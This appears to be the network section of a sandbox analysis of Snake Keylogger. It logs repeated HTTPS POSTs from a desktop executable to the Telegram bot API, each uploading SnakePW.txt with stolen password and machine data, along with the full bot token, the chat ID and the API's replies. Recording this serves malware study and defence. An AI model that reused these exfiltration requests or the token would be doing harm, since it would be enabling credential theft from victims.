2022-06-26 07:32:41 UTC	10	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:41 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:41 UTC	11	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66752,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228760,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	49863	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:04 UTC	101	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e3a9ffd1 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:04 UTC	101	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 33 61 39 66 66 64 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e3a9ffd1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:04 UTC	102	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:04 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:04 UTC	102	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66811,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228784,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.5	49865	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:04 UTC	103	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e3e7fb9c Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:04 UTC	103	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 33 65 37 66 62 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e3e7fb9cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:05 UTC	103	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:05 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:05 UTC	104	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66813,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228784,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	49868	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:05 UTC	104	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e43b6d80 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:05 UTC	105	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 34 33 62 36 64 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e43b6d80Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:05 UTC	105	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:05 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:05 UTC	105	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66814,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228785,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.5	49871	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:05 UTC	106	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e4724548 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:05 UTC	106	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 34 37 32 34 35 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e4724548Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:05 UTC	107	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:05 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:05 UTC	107	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66815,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228785,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	49874	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:05 UTC	108	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e4adde3e Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:05 UTC	108	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 34 61 64 64 65 33 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e4adde3eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:06 UTC	108	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:06 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:06 UTC	109	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66816,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228786,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.5	49876	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:06 UTC	109	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e4ebdb2f Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:06 UTC	110	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 34 65 62 64 62 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e4ebdb2fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:06 UTC	110	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:06 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:06 UTC	110	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66818,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228786,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	49879	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:06 UTC	111	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e52776dd Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:06 UTC	111	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 35 32 37 37 36 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e52776ddContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:07 UTC	112	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:07 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:07 UTC	112	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: 